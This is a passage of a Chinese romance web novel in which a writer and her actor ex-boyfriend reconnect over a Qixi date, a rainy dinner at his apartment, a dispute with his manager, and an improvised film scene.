听到熟悉的代称,武玉箫兴奋地抬眸,在对上那双惊慌的美眸时,他眼中的阴霾一扫而光。
“这里。”
武玉箫激动地站起来。他还是那副咖啡师的打扮,只是黑框眼镜换成了精致的蓝框装饰镜。
桌上放着一束牵牛花,七夕节,牛郎织女相会,送牵牛花应景。
“等多久了?”
周夏宁大口喘着气儿,十分钟的路程,她只花五分钟就跑过来了。他也倔,都到公司附近了,为什么不去公司找她。
“没多久。”
就四个小时而已。
武玉箫将花推到她的手边,红着脸说道:“店里送的。”
花上的卡片是“云悠花店”的七夕特制卡片。谁家店白送顾客大几百一束的花?
“怎么没去公司找我?联系不到我,你就干等着?”
一杯柠檬水被推到了她手边,他摆明了不想聊这些。
“你来了就行。”
武玉箫笑成了一朵花。过程不重要,结果是他等到了她,这就够了。
“我原来的作家号被激活了,以后联系我,用那个通讯录。今天如果不是你老板提醒我,我都不知道你给我发了那么多消息。半夏那个号,只能用公司内网联系,你找谁管理的你账号?”
周夏宁一副八卦的模样,心里已然有了答案。武玉箫的通讯号,除了他本人只有他的经纪人、IT部负责人和9楼的培训师有权限登陆。
“我和她没什么。我托她上传报告顺带帮我发一下消息。”
武玉箫口中的她,就是那天想给他送红豆馅饼的卿梨。这小姑娘在一群八卦砖家手下玩暗恋,在她回国之前,他们都在打赌武玉箫什么时候被她拿下。
“我可什么都没说。”
周夏宁轻啜一口茶,里面的柠檬真酸。卿梨比武玉箫小三岁,这真是一个让人羡慕的年纪。
“她有人追。”
周夏宁听到这里突然来了兴致,问道:“谁?”
她这爱听八卦的习惯还是没有变。武玉箫暗自松了口气儿,死道友不死贫道,正巧提醒她离邱远衡远点儿。
“邱远衡,就是那天给你送梨汤的那个。”
周夏宁有些意外,邱远衡和卿梨也差三岁。历史真的会在不同的人身上反复重演。难怪她会觉得他像武玉箫,这里面有没有刻意模仿就不得而知了。
这时店员端着一盘糕点走过来,笑道:“这是店里七夕特供紫芋奶糕。”
这个紫芋奶糕是只针对VIP用户的赠品,只有在这里消费一百次以上的用户才能办理VIP卡。
当年她还同他开玩笑,说要在15楼甜品部开一个公共会员卡,谁去都报那个卡号,然后七夕的时候一起去蹭这里的紫芋奶糕。
周夏宁突然对那段时光十分怀念。她把手机交给了店员,问道:“能给我们拍个合照吗?”
店员将镜头对准他俩的时候,武玉箫突然摘掉了眼镜和假发,店员眼里闪过一丝惊讶,这大明星居然乔装来店里了。周夏宁觉得店员神色不对劲,转头看去,一块紫色奶糕
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触到她柔软的薄唇。
她惊讶地对上他泛着泪光的眸子,相机将这个画面永远定格。这是他们第一次在七夕当天一同度过。
交往的时候总觉得还会有很多个以后,她以工作为先,也让他以工作为先。她离开的时候,他居然想不出他们有共同庆祝过什么特定的节日。
“这个好吃吗?”
武玉箫把叉子从她的嘴边挪走,到嘴的奶糕怎么能被他拿走,她抓住他的手腕,就着他的手将奶糕吞掉。
浓厚的奶香味在嘴里弥散,许是奶糕太甜,周夏宁的唇角上扬之后就再也没有下来过。店员在一旁一顿连拍,她的视线很难从武玉箫的身上挪开。来店里的情侣很多,像他这样用迷恋的眼光看着对方的男孩儿很少。
在镜头里,她一直看着奶糕,而他的眼里只有她。
“说好了,这些都是我的。”
周夏宁把奶糕盘挪到自己手边。武玉箫有对芋头的过敏史,虽然他自己坚持说那次过敏只是意外,她还是不敢再让他碰有芋头的食物。
武玉箫可惜地叹了一声,她护食的时候,不接受任何反驳。店员把手机交还给她,武玉箫将自己的二维码打开,恳求道:“加个好友,把照片发给我。”
这种要联系方式的手法很老套,可是他诚恳的语气让她很难拒绝。周夏宁切换了账号,将他从黑名单里拉了出来。
“照片发你了。”
看到之前的红色问号下出现了一堆他们之间的合照,他的眼里突然燃起希望。他们也许会有很多很多个以后。
“别看照片了,吃菜。”
武玉箫的碗里堆满了菜,老规矩,她吃三分之二,他吃三分之一,光盘行动,不浪费。
周夏宁看着他安静吃饭地模样,不禁感叹,她不强行将他从生活里排除出去的时候,那三年断档似乎从来没有存在过。
这段感情,他爱得更深,执念也更多。
从火锅店出来已近十点半,他还想同她散个步,送她回公寓。不巧,袁栎的查岗电话来了,催他赶紧去机场。
路边有计程车路过,周夏宁当即拦了下来,把他塞了进去。
他抓住她的手问道:“下次回来,大概半个月以后,我还能见到你吗?”
半个月后,《桃源绮梦》就开机了,她也许要去剧组出差几天。
“不太清楚。”
“你要回LA了?我能去找你吗?地址能给我吗?我会提前联系的,不会打扰到你的。不要把我拉黑好不好。”
武玉箫说了一段rap。除了司机那烦躁的叹息声,周夏宁什么都没有听清。他拽着她的手腕不肯放手,她无奈地摇头,把他往里推了推,跟着上了车。
从机场出来,已是凌晨。她打车回了他在夜荷的公寓。那里的密码还是她离开时的数字。虽然擅自去别人家不太礼貌,突然她就很想来这里看一看。里面的摆设和她离开的时候一样,甚至衣柜里还放着她当时经常穿的衣服。
她那时把她所有的东西都打包处理掉了,这些应该是他根据印象去店里买的。一些衣服上的吊牌还完好地挂着。
“恋爱脑。”周夏宁叹道。
可不受理智控制的感情才是危险又迷人的爱情中最让人沉迷的部分。突然,她想到了什么,打开电脑,从云文档中将被驳回的稿件重新下载。
她的手在键盘上飞舞,十分钟后,只改了结局的稿件出现在了陆扉辰的邮箱里。在她关机之前,她收到了系统过稿的提醒。
陆扉辰在给她的回复里写道:对对的人恋爱脑会发达。
12. 紫薯花卷
丰亿大厦大厅。
屋外的雨倾盆而下,手机上又弹出网约车司机请求取消订单的消息。这已经是第五个请求取消订单的司机了。
夏日暴雨,来得快去得也快。周夏宁在一楼咖啡吧找了个空位坐着。今晚的聚会是个相亲局,易云安想把他的堂弟介绍给她。她本来是想拒绝的,可今晚《桃源绮梦》的主创人员都会去,她至少要去打个照面。
朝朝:你还在公司吗?我马上就到,等我。
对话框里突然弹出一条奇怪的消息。
冰夏:你是本人吗?手机又被收了?
武玉箫进组后上交手机,几乎成了一个不成文的规定。想约他出去的人实在太多了,拒也拒不掉,他干脆就给袁栎立了一个霸道经纪人的人设。
朝朝:这就是你一个月不给我发消息的理由?
浓重的怨气从手机那端传来。
冰夏:你不也没有给我发消息吗?
没要到联系方式的时候,一天几十条消息地发,从小黑屋里放出来了,一条消息都没有。真是现身说法,得不到的永远在骚动。
朝朝:上次你两周都没回我消息,我怕这次也一样。上次我可以安慰我自己你不在公司,这次如果你还是不回我消息,我怕你像三年前那样,又不理我了。
失联这个坎他是绕不过去了。
一道刺耳的刹车声过后,一道熟悉的身影在雨中出现。他在雨中穿行,在衣服湿了大半之后,出现在她的身前。
“云师傅做的紫薯花卷。”
周夏宁愣了许久,他口中的云师傅应该是“开云面点”的云简。他五年前因为母亲生病,回青城老家开店了。她记得他拍戏的地方就在青城郊区。
“送花卷有这么急吗?没带伞,就让师傅把车开到地下停车场去。淋成这样,是想感冒吗?在拍摄的时候感冒了有多么难受,你不知道吗?”
周夏宁给他甩了一包纸巾,让他赶紧擦擦。他摇摇头,将保温袋塞到她的手上,“我就是来给你送花卷的。马上就要去机场了。”
恋爱脑真是无可救药了。
陵城那么多面点师傅,她还缺这紫薯花卷吃不成。
“几点的飞机?”
这雨越下越大,一点儿都没有变小的征兆。
“凌晨一点。”
现在才刚过七点,时间还早,没必要穿着一身湿衣服去机场。
“回去换身衣服再走。”
周夏宁将伞塞到他的手上,意思是他一个人回去。他拽住她的衣角,低头恳求道:“能不能陪我回去,我们在超市买点儿熟食,我们一起吃个晚饭。你答应过下次见面一起吃饭的。”
可是她没有答应在他的公寓陪他吃饭。
周夏宁的手机响了,易云安的来电。武玉箫瞅见了来电显示,在她按下接听键的瞬间,连打了两个喷嚏。他双手抱肩,装作他很冷。
八月夜雨到底带着凉气。
“我还在公司加班可能过不去了。”
听到她这么说,武玉箫不禁松了半口气儿。她在他和那个素不相识的相亲对象之间,选择了他。
“一起吃饭,可以吗?”武玉箫可怜巴巴地问道。
冰凉的水珠从他的衣角落下,棉质T恤贴在他的身上,描摹出他的肌肉线条。他这个模样去街上走两圈,指不定被哪个好色之徒欺负了去。
“赶紧回去洗个澡,把衣服换了。时间若是早,我们就一起吃饭。”
周夏宁妥协了。她可不想让别人看见他这我见犹怜的模样。男孩子出门在外也得保护自己。
夜荷员工公寓。
门被推开的瞬间,橘黄色的灯光从门缝里透出来。武玉箫狐疑地眯起眼,家里的感应灯坏了,他还没有时间换。这灯怎么自己自动修好了?
“在外面站着做什么?”
周夏宁看见屋里的亮光,突然心虚地转过头看天花板。不是用恋爱脑的心境写的文,陆老板那儿都不给过。这些天赶稿,她都在这里找灵感。
屋里坏掉的摆件,能修的她都修了,不能修的她就复购了一个。公寓的管理人也能随意进出这屋子,坏的东西修好了,那也可以是公寓管理人的功劳。
周夏宁打定主意用这个说法搪塞他,可是他没有发问。
“你身上都淋湿了,去洗个澡,家里有你以前常穿的睡衣。我去煮粥。”
武玉箫把她拉进了屋。周夏宁看了看自己的衣服,又看了看他的。她不过湿了一个衣角,他近乎全身湿透。在路上,他把她护在了怀里,几乎没有让她淋到雨。
“你去洗澡。我去超市买点儿熟食。不接受反驳。”
她把他推去了浴室,然后带着冰箱里早上刚买的卤菜出了门。武玉箫常年不在家,家里的冰箱几乎是摆设。被他发现冰箱里有熟食,他绝对能猜到她这个偷家贼光顾了他家。
水声“哗哗”,热气氤氲。武玉箫侧耳听着门边的动静,浴室的门他不敢完全关上,怕听漏了大门重新被打开的声音。
超市就在楼下,她在楼下只会买卤三素、烤鸡和卤牛肉。她买东西从不犹豫,一般十分钟以内就能够回来。
门边一直没有声响,她还没有回来。他把身体沉进浴缸里,任热水没过他的脑袋。大脑缺氧的感觉挺好,在只有求生本能的时候,他才能不想她。
“还没出来吗?我买了牛奶和三明治,再不出来,你就带着这些东西直接去机场。雨已经下小了,趁着雨变小了赶紧走,不然又淋成落汤鸡了。”
周夏宁将买回来的东西全部放桌上,为了浑水摸鱼,她刻意去了稍远一点儿的卤菜店。超市里的卤翅尖和夫妻肺片只在早上供应。
武玉箫闻声立刻从水里出来,他来不及擦干身上的水珠,拉过一条浴巾,将自己随意裹住。他兴奋地冲到客厅,看到她正在餐桌前吃酸奶,不由得激动地拥抱了她。
“你真的回来了。”
强烈的不安感扑面而来,周夏宁双手僵在半空,他的伤痛,她不知该如何抚平。他十二岁的时候,父母在火灾中双双去世,他被送去了福利院。这段经历在他身上没有留下特别深重的阴影,可他到底还是害怕被抛弃。
她在繁星打循环的时候,他恰巧拿了外卡进循环。她会用优先权选他是因为她笃定可选范围里他是最优选择。
可他一直认为她是因为恋爱脑才选他,带他去到更广阔的舞台绽放光芒。
在他的认知里,她是无条件爱他的。
可这世界上所有的爱都是有条件的。
她只是……
没有利用他的爱来刻意伤害他罢了。
“你要不要吃饭?”
周夏宁选择忽视他的不安。她是人不是神,满足不了只有神才能给的幻想。
“要。”
武玉箫缓缓放开了手,他身上的水珠弄湿了她的衣裳。他的视线落在她的胸口
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,脸突然红得像一个熟透了的苹果。
棉质T恤就这点儿不好,一沾水就显身材。周夏宁一把将他推开,小声嘟囔道:“我去洗澡,你把这儿收拾一下。”
再同他待下去,她怕是管不住自己想要干坏事的手。他是在所有女人面前都不好好穿衣服吗?那若隐若现的Q弹有光泽的肌肉,当真让人想上手摸一摸。
浴室水声响起的时候,武玉箫轻轻哼起了不成调的曲儿。她泡澡需要半小时,等她出来就过八点了。徽瑞的剧,八点上映。她为了追剧,就会留在公寓里,《桃源绮梦》的酒局,她今天不会去了。
在她明确用行为拒绝他之前,他要把她身边开出来的烂桃花全部踩碎。她可以选择别人,但是她心里有他位置的时候,他不可能让她离开。
装乖也好,献殷勤也好,卖惨也好,她心软了,他们之间就有未来。
周夏宁从浴室里出来的时候,客厅里的电视已经调到了陵城卫视,徽瑞的脸从电视上一闪而过。
桌上摆满了菜。田螺弟弟在她泡澡期间,做好了鸡蛋卷,分装好了卤三素,煮了番茄牛肉汤,摆好了紫薯花卷,甚至还打了两杯橙汁。
这是要诱惑她留下来的意思。
易云安的电话又进来了,武玉箫的心突然提到了嗓子眼,能做的他都做的,只看她愿不愿意上钩了。
“不好意思,今晚我去不了了。开机那天我会过去。”
她坐到餐桌前,安静地吃起了刚煎好的鸡蛋卷,目不转睛地盯着电视。徽瑞的新剧也是时安投资出品的,比起去酒局和人虚与委蛇,作品更能给她想要的信息。
武玉箫收拾好厨房后,在她的对面坐下。她关掉电视,安静地给他夹菜。她喜欢徽瑞,可是他们在一起吃饭的时候,他们之间不会有其他人出现。
一顿饭吃得很快,他做了很多菜,这不是两个人一餐能吃完的量。他按照以前的习惯,将菜装到了保鲜盒里,放进了冰箱。
他并不担心这些菜放在冰箱里会坏掉,因为有人会帮他吃掉。在他下次回来的时候,再买相同的东西放进食盒里,装作在他不在的期间,没有人动过他的冰箱,没有人来过他的公寓。
九点左右,雨终于停了。周夏宁在沙发上抱着抱枕,睡得正熟。他给她搭了一条薄毯,便背着背包自行离开。
周夏宁一夜无梦,难得地睡了个好觉。屋里弥散着她喜欢的橘香,桌上放着她常用的叮当猫闹钟,茶几的收纳篮里摆着全套的英文版福尔摩斯。
这些都是她收在床底的东西。他明显已经知道她光顾过他的公寓了。不过他没捅破这层窗户纸,她可以装作不知道。
早上有个投资商的商谈会,她昨晚穿的T恤不太适合那个场合。衣柜里有职业裙衫,她去了卧室,打开柜门却发现,他的衣服少了一半,女士裙衫上的吊牌全部没了。
柜门边贴了张便签条,上面写道:有品牌方会给我寄代言的新款服装,如果你方便,帮我收一下。公寓密码还是我们交往的日期。
他主动给她找了一个出现在这个公寓里的理由。
他不问她出现在这个公寓的原因,只想保留她留在这个空间里的结果。周夏宁一时间不知道她这样做会不会伤他更深,可是那些早已离她而去的灵感,在这个空间里再次找上了她。
那些幻影就像她甩不掉的影子一直缠着她,诱惑着她留在这里,直到他们之间断掉的故事展开一个新的篇章。
13. 青瓜醉茶
青城,唐记点心店临沧路分店。
黄昏的橘光照在脸上,周夏宁慵懒地打了个哈欠,睡了差不多二十个小时,她终于没有那种累得快要虚脱的感觉了。
难得轻荷的女朋友出差,他在家闲得无聊,主动去公司接了点儿小活。她有了五天的假期。
陆老板说得没错,“恋爱脑会倒八辈子霉”这个标语需要贴在夜荷15楼的每一个工位上,特别是轻荷的工位。
他恋爱脑,倒霉的是他组里的每一个组员。每天加班加到天昏地暗。项目奖金很丰厚,但按照这种007的工作强度,奖金拿到了,有命花吗?
和家里承诺的三个月时间,已经到了。本想着在休假的时候回趟LA,和父母当面说清楚工作延期的事情,现在怕是回不去了。
店里的风铃“叮当”作响,一道带着怒气的身影突然飘到眼前。袁栎像一只被惹怒的斗鸡,浑身颤抖地站在她的面前。
“约我出来,做什么?”
声音里充满了火药味,人却平静地坐到了她的对面。做了武玉箫的执行经纪人之后,她将自己全身的刺都裹进了壳里,逼着自己学会控制情绪,学会表达自己的情绪。
这种改变很难做到,可是她为了武玉箫做到了。她现在身边有自己的恋人,但在那十八九岁的年纪,她又何尝没有对那个把她从歪路上拉回来的少年产生过悸动。
“想在见他之前,听听你的说法。你和他闹到当众互殴的地步,应该不只是因为他跳过你,让梁思潮给他调戏的场次。”
武玉箫在片场被打的事情,这两天在社交媒体上闹得沸沸扬扬,他的粉丝强烈要求公司给他换个经纪人。袁栎在系统里提了离职申请,但是流程走到余芷那儿,她亲自驳回了。
她给她来了电话,托她亲自去青城了解情况。余芷的心脏不大好,一直在LA修养,一周后,她还要再做一次手术。
手术的日期,袁栎也知道,如果不是因为有必须和他干架的原因,她不会在这个节骨眼给余芷添堵。
“我知道你不满他恋爱脑,但我不认为你会因为这个和他撕破脸。”
周夏宁的平静和坚定,无端将袁栎身上的怒火散去。他们闹到这个地步确实不是因为他恋爱脑。
“你回国之前,余姐就给我打过预防针说他会找你复合。她甚至猜到他会因为你临时换本《霜落枫桥》。只是我没想到,他真的会因为想和你复合,同意去瑞银的酒局。你知道那意味着什么吗?”
意味着恋爱监察组找他谈话了。
在他转S约之前,同夜荷的优先股股东确认男女关系,自动视为转D约,也就是陪侍约。他必须按照公司的要求去陪客。虽然没有到需要他卖身的地步,可那个地方就是一个诱人不断堕落的泥沼。
恋爱监察组在对他俩关系定性之前,是会来找她谈话的。她这边确认之后,他们两人的关系才会在系统里被锁定。
她可以用自己的股东特权,帮他免了这些乱七八糟的陪客工作。只是在公司他免不得要被人说成被人包养的小白脸。
以他的实力,没必要受这份委屈。
“除了这个还有别的原因吗?”
瑞银的酒局有很多种,这些年余芷把他保护得很好,他只需要专心拍戏。可是艺人的工作不只有拍戏,二十六七正是学会融进其他圈子的年纪。去酒局不一定是坏事。
周夏宁的淡然,有一种安抚人心的力量。在她面前,似乎所有的困难都不值一提。
“他在私下接触鑫诚娱乐的人。暂时还没有传出什么风声。你应该知道,他如果强行毁约,会有什么后果。”
陆扉辰不会允许他养的花,红杏出墙。除了把花给毁了,没把花养好的养花匠他也会一并毁了。
这不是没有前车之鉴。
只是,武玉箫不可能背叛亿星。
“还有别的吗?”
两人积怨已久,好不容易借着这次机会爆发了,就一次性把苦水都倒完。
“他知道我当年用他的邮箱给你发邮件的事情了。”
如果只是因为前面两个理由,武玉箫在被打之后不会还手。他在现场给了她一棍,下手还不轻。
“还有别的吗?”
袁栎摇摇头。其他都是小事儿,没有到需要动手的地步。
“听说你快结婚了。这次提离职和结婚有关系吗?”
袁栎交往的男友是瑞清酒吧的调酒师,年纪不过二十岁出头。这个年纪的男孩儿,青春热烈,但是定性差,很容易被拐跑。
“没太大关系,也不是没有关系。”
武玉箫的行程太满了,两个人如果要定下来,她就不可能继续这样满世界飞。
“你是不做他的经纪人了,还是不做经纪人了?”
武玉箫的发展方向都是余芷在把控,她没有太多发挥的余地。她如果想独立挖宝带新人,离开武玉箫也没什么不好。她在这行做了七八年,有能力独当一面。
就怕她……
恋爱脑,想转行。
女性的结婚试错成本是很高的。她如果离开后,发展得更好,余芷不会不放她走。
店外突然出现了一道阳光青春的长影,他拿着花束,脸上挂着比夏日骄阳更热烈的笑容,兴奋地朝着她挥手。袁栎的眼中冒起了粉红泡泡。
“我想好好休息,然后开家小店。结婚生子,平平淡淡的生活。”
这个回答,和周夏宁预期的一样。也难怪武玉箫会对她动手了。那个调酒师和武玉箫一样都是在福利院长大的,在酒吧也很受器重。
他很清楚这样的人会有什么样的发展,也知道袁栎的想法不可能实现。袁栎整天说他是恋爱脑,她自己何尝不是。
只是他很幸运,他的身后有一直支持他的团队。他恋爱脑发作的时候,他也必须考虑到身后团队的利益。
但是袁栎身后只有她自己,她如果放弃这份工作,他们之间的差距若是哪天拉大到无法再一起走下去,那个时候,她想回来也回不来了。
“离职的事情,我希望你好好考虑。如果你想开店,先转去C约部,慢慢地把重心换过去。步子迈太大了,容易跌倒。他的合约还剩两年多一点儿,行百里者半九十。陪他走到最后,这是你当初在医院门口对我许下的承诺。”
余芷也对她说过类似的话。
“你还真是一个奇怪的人。明明对他关心得不得了,三年前还那么狠心地抛下他。”
当年如果不是她拦在病房外,他们也不会一错过就是三年。袁栎愧疚地叹了一声。
她失联后,他不吃不喝不睡,在组里拍戏魂不守舍。从威亚上掉
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下来的时候,念的都是她的名字。
抛弃他的女人,为什么还要留念?
可是现在,她说不出这样的话。
“对不起,当年如果我没有做那些事情,你们也不会分开这么久。”
周夏宁望着她的背影,轻轻摇头,“不,我很感谢你那个时候,拦着我不让我见他。”
“为什么?”
袁栎不解地回头。周夏宁淡然轻笑,抬眸对上她的视线,“我并不后悔在那个时候抛下他。再来一次,我还是会做同样的选择。”
她的视线穿过袁栎落在武玉箫的身上,他眼中的失落,像玻璃渣一样扎在她的心上,很痛,却很坦然。
人生很漫长,如果停止了生长,无需命运的无差别打击,相爱的两人也会反目成仇。
她只是在她需要自己独自面对成长考验的时候,选择了将他推开。也许当初分手并不是唯一选择,但结果告诉她,这个选择是对的。
“狠心的女人。”
武玉箫站在原地,不敢离开。他气愤地走了,她可不会追着他跑出去。他气闷地将袁栎推到一旁,坐到了她的对面。
“你的小男友在等你,别耽误我约会。”武玉箫没好气儿地囔道。
袁栎一见他就气不打一处来,想冲他吼,可是看他那可怜模样,又于心不忍。感情的事儿哪有对错,不过是一物降一物。
“恋爱脑,晚上的夜戏别迟到。朱导早就想揍你了,不过是我抢先了。你还得感谢我,赶在导演和你撕破脸之前把你打了。”
袁栎递了个梯子,梁思潮太年轻了,调场次的时候把剧务得罪了,他可在朱导那儿煽风点火说了他不少坏话。
“你才是,别玩得太疯,不记得回来。酒店很偏,让他把你送回来之后再离开。”
“管好你自己。恋爱脑。”
店里的风铃随风响起,两杯绿色的饮料被放在了桌上。
“青瓜醉茶,她给你们点的冷饮。”年轻小伙沉稳地说道。
他的身上透露着与年纪不相符的成熟,就和当年的武玉箫一样。两人离开后,武玉箫气鼓鼓地将杯中的饮料喝去大半,他脸颊绯红,周夏宁觉着奇怪。她轻啜了一口,发现里面有酒味。
她不安地皱眉,他的酒量不太好,容易醉。
他拉着她的手,凑到她的眼前问道:“为什么重来一次,你还是会选择抛下我?”
他泪光闪闪,眼神迷离,周夏宁看着他的眼睛,淡然笑道:“因为……”
突然,她的唇上沾染了他身上的醉气。这个答案,他没有勇气听。他紧紧地拽着她的手,轻柔地诱惑她在与他唇齿交接的快感中沉沦。
“你……”周夏宁气呼呼地囔道。
他应声醉倒在桌上。
周夏宁的纤指从他的眉梢划过,笑道:“酒量还是这么差。”
他转过脑袋,将她的手压在桌上,牢牢地贴着他发烫的脸颊。迷迷糊糊中,他反复囔道:“为什么要抛下我?”
他这醉酒的模样,和她印象中的无甚差别。她在他的额头上留下轻轻的吻,他方才安静下来。
过了许久,在武玉箫真的快要睡着的时候,她突然平静地笑道:“因为我知道,你一定会被余姐推到你现在所在的位置。如果我不突破自己,一定会失去你。”
14. 橙子香水
深夜十一点,五福小巷。
商业街上的店铺陆陆续续打烊,街上只剩孤灯,残影和偶尔路过的夜风。刺眼的强光从小巷的尽头射来,嘈杂的人声由远及近,逐渐变得清晰分明。在开云面馆门口,周夏宁突然停下脚步,笑道:“你该去工作了。”
一小时前助理开车来接他,他以散酒气之名,缠着她走了三站路。月下同行的时光太美,深夜小巷的路太静,一不小心这条路就走到了尽头。
“你酒店在哪儿?我让助理送你。明天你还会在这儿吗?明早我们一起吃早餐好不好?我给你带‘徐记’的灌汤包和豆浆。你离开之前,我们……”
如同蚊子煽翅般的嗡嗡声刺得周夏宁耳膜发痛,他刻意压低声音,不想让身旁的工作人员注意到他们之间的暧昧气息。周夏宁怀疑他有分离焦虑症,一起轧马路的时候,他安静得像一个陶瓷娃娃。
“过了中秋节,我再回公司。我借住在周姚的老破小那儿。明早我和他有约了。”
周夏宁在脑子里一个一个地过他刚才问过的问题。她很耐心,没有催他赶快去工作。戴眼镜的年轻小伙站在离他们大概一米的距离,想上前,却又不敢。
“是你给我发的消息?”
周夏宁笑着看向了身旁的小伙,他的长相和系统里的证件照一模一样。年纪轻轻脸上就留下了生活的风霜。
梁思潮猛然一愣,在系统里他没有收到回信,他还以为求救信息石沉大海了。
“加个联系方式吧。系统里SOS信息网管都能看到,我不方便回复。”
周夏宁主动调出了二维码,梁思潮看了看武玉箫的脸色,站在原地不敢动。
“林羽寒到了吗?”
武玉箫大步向前走,梁思潮见状跟在了他身后。加联系方式的事情就这么不了了之。那个助理很怕他,事事都顺着他,难怪袁栎闹着要开了他。
以他现在这个位置,公司里除了主要部门的负责人,很少有工作人员会逆他的意。
高处不胜寒,赞美声里处处都藏着想把他从高处拉下来的恶意。
周夏宁不禁想要去拥抱那个站在聚光灯下的人。事业上的成功,精神上的孤寂,通向高处的路,虽说有人作陪,到底还是靠他一个人苦撑走下来的。
他按照所有人的预期爬到了现在的位置,可心中的苦楚又能与谁说?
“凭什么你说调场次就调场次,你说删戏就删戏。”
娇柔的声音里翻涌着无边怒火,嘈杂的拍摄现场一时间静得雅雀无声。
“进组之前我就说得很明白,我不拍吻戏。而且最初给我的剧本上,并没有写明有吻戏。”
话语直白,语气温柔,但态度坚决。
“你以为你是谁啊。导演我要换人。”
戏都拍了三分之一了,这个时候换人,投资人不得跳脚。一个是鑫诚娱乐的摇钱树,一个是亿星的武打顶流,换谁,资方那儿都不好交代。
“朱导,雯姐那边坚持要加这场吻戏。”
驻场编剧没敢挂断电话。
“我不同意删戏。他又不是没拍过吻戏,让他有点儿演员的自觉。他如果坚持不演,我就去亿星投诉他。”
在场的人一同倒吸了一口气儿,这个编剧后台是长运影视,她向来强势,她挂第一编剧名的作品,演员只能按照她的要求去演。
“我不认为在这个场合下,非得用吻戏来表达感情升温。在表明心意之前,小心的靠近,不经意间的试探和突然的惊喜,远比吻戏要有戏剧张力。这不是必要的表达方式。”
这个观点是对的,可是市场风向不是这样的。没有比感官刺激更直接的兴奋剂。
“你可以保留你的看法。但是我不同意删戏。如果你坚持,我会去亿星投诉。”
对方语气强硬,不给任何商量的余地。
“那你去……”
“雯姐,小孩子不懂事儿,你别放心上。”
武玉箫的嘴被人从背后捂住,全剧组的人惊讶地看向这个突然冒出的女人。看到她手上的玛瑙手串,武玉箫立刻放弃了挣扎。
“雯姐,吻戏,你说必要,那肯定得拍。只是,他既然提出了反对意见,就让他按照自己的想法演一次,如果大家都觉得他的想法是错的,那你再去亿星那儿投诉好吗?”
电话那端传来长久的沉默。亿星是很尊重艺人拍摄意愿的,刚入行的艺人,公司都能接受他们不拍吻戏或者危险打戏。
武玉箫这个级别的艺人是有投诉反诉权的,在投诉调查中,亿星会出专业团队对两人坚持的表演方式进行评估,如果判定艺人的坚持更有市场价值,就会驳回投诉,并且要求投诉方支付专业评估费用。
这可是一笔不小的开销。而且,传出去,名声也不好。
“冰夏吧,既然你开口了,就让他去演。让他死个明白。”
此时,剧组的全体人员都不由自主地松了口气儿。这场戏因为临时加戏一直拖着没拍,马上剧组要转去泽城了,这场戏没法再拖下去了。
“羽寒啊,这小子怕袁栎恋爱脑被人骗了,这才逼着场记调戏去袁栎的约会现场逮人。袁栎从他入行开始就做他的助理,两个人一起工作这么多年,关系跟家人无异。他这也是关心则乱,还请你多多包涵。周姚明天过来,有什么要他帮你带的吗?”
说了这么多,重点在最后一句。林羽寒谁的面子都可以不卖,唯独周姚的不可以。
“他能来看我就已经够了,还需要他给我带什么?我去准备了,要怎么拍,他先跟导演沟通好。等会儿导演同我说,我现在看着他来气儿。”
林羽寒跟着服装师去了店里,朱齐的目光不由自主地落在了周夏宁的身上。她手上的玛瑙手串和武玉箫之前在拍摄现场做的那串一样。她才是武玉箫强行调场次的原因。
简简单单几句话就把齐雯和林羽寒都摆平了,武玉箫恋爱脑也不是没有原因的。
“既然来了,留下来一起看看。听说,他入行以来拍的唯一一场吻戏,是你在现场盯着拍的。”
这么久远的往事,居然还有人记得。不巧,那部戏的编剧也是现在这个雯姐。而当初他拍的那场吻戏,因为他们恋情曝光,被公司那边强行删掉了。自此以后,他就再也不拍吻戏了。
“听说你很喜欢云师傅做的阳春面,要不留下来吃个宵夜。顺带看看他的表演。”
朱齐挡住了她离开的道,指着监视器旁的椅子,意思是她必须留下来。诱人的香气从面馆飘来,周夏宁突然就饿了。送佛送到西,她又不是没看过武玉箫拍吻戏,顺着朱齐手指的方向坐了过去。
这场戏,徐长枫装作外卖员给在面馆打工的曲霜送橙汁,偶然间发现面馆里做的糕点图案和案发现场的一样,从而对曲霜产生了怀疑。曲霜想要转移徐长枫的注意力,借着他送来的橙汁,偷吻了他,并趁机藏起了那块内含玄机的糕点。
在藏糕点的时候加吻戏很符合齐雯的狗血写作风格。工业糖精撒得好,观众只会更爱看。按照她的风格,没有写激吻,已经算是对武玉箫不拍吻戏的妥协了。
监视器前,周夏宁一脸期待。为了不拍吻戏,他会拿出怎样的表演来让所有人闭嘴。
“各部门准备,三,二,一,Action。”
明黄的骑手服在镜头里闪现,拉风的摩托车在地上划出一道优美的弧线后平稳地停在面馆门口。
武玉箫抱着一个大玻璃罐,三步并作两步如兔子一般跳进了店里,径直来到了柜台前。
“小霜,你要的橙子香水。这次我在里面放了冰糖,桂花,还有……”
武玉箫
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的视线从一旁的五白糕上扫过,林羽寒以为他看到了糕点旁边的骰子,眼中闪过一丝慌乱。她放下计算器,准备站起身的时候,他的视线固定在糕点旁边的陶瓷杯上,殷勤地给她倒了一杯橙汁。
“尝尝。”他一脸兴奋道。
林羽寒就着他的手,浅浅尝了一口,里面的酒味很浓。她突然将他推开,不悦地囔道:“你可没说里面有酒。”
这个道具和之前说好的不一样。这几乎是她的本能反应,回神之时,她发现桌上的糕点已经落在了地上。她没有了偷吻他的理由。
她气闷地转身,这个是即兴表演,导演中间不会喊“cut”,也没有重来的机会。
“你不是说你喜欢隔壁酒吧老板送你的果酒吗?他要搬家了,我特意去他家蹲点磨了他一周,他才把这方法交给我。难道他没有把正确的方法交给我?”
武玉箫呆头呆脑地看着杯中的橙汁,犹豫了许久,红着脸将陶瓷杯里的橙汁一饮而尽。酒劲上头,主动踩碎了落在地上的糕点。
周夏宁心头一动,他这恋爱脑是直接转移到徐长枫身上了,借着酒劲销毁证据。
“你酿的酒太醉人了,要不你下次酿米酒吧。米酒喝再多人也不会醉。”
“你还真是醉了,米酒也是酒,怎么就不会醉。”
林羽寒不由自主地接了词儿。她也不知怎的,明明打定主意不说台本以外的词儿。他眼中的破碎让人想起了街边被遗弃的流浪猫,很惹人怜惜。
“曲霜,我醉了,抱抱我好不好?”
他双眼迷离地看着她,两只手渐渐地环上她的腰,他的身体在轻颤,似乎在害怕什么。她突然想起骰子被她踢到了墙边,惊讶地回头之时,他的脑袋埋进了她的颈窝,滚烫的热泪从他的眼角滑过。
“曲霜,不要再酿这种酒了,好吗?太容易醉了。”
说完,他醉倒在她的怀中。
“Cut。”
